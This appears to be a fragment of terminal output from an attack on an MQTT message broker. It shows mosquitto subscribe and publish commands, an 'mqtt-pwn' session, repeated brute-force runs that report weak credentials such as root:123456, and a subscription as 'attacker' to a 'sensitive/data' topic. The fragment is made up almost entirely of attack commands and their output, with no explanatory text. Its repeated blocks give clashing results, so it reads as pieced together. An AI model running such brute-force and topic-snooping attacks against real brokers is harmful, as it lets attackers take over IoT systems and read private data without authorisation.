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$ mosquitto_sub -h broker.example.com -p 1883 -u user -P password -t "example/topic"

$ mosquitto_pub -h broker.example.com -p 1883 -u user -P password -t "example/topic" -m "Hello, MQTT!"

[+] Starting brute force!

[+] Found valid credentials: root:123456

[+] Found valid credentials: admin:password

[+] Found valid credentials: dev:12345678

[+] Found valid credentials: user:1234

^C

[-] Brute force has stopped...

mqtt-pwn >> connect -h broker.example.com -p 1883

broker.example.com:1883 >> 

>  mosquitto_sub -h broker.example.com -p 1883 -u attacker -P attacker_password -t "sensitive/data"
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[+] Starting brute force!

[+] Found valid credentials: root:1234

[+] Found valid credentials: root:123456

[+] Found valid credentials: root:12345678

[+] Found valid credentials: root:123456789

^C

[-] Brute force has stopped...

[+] Starting brute force!

[+] Found valid credentials: root:123456

[+] Found valid credentials: user:98765

[+] Found valid credentials: dev:admin123

[+] Found valid credentials: admin:password

^C

[-] Brute force has stopped...
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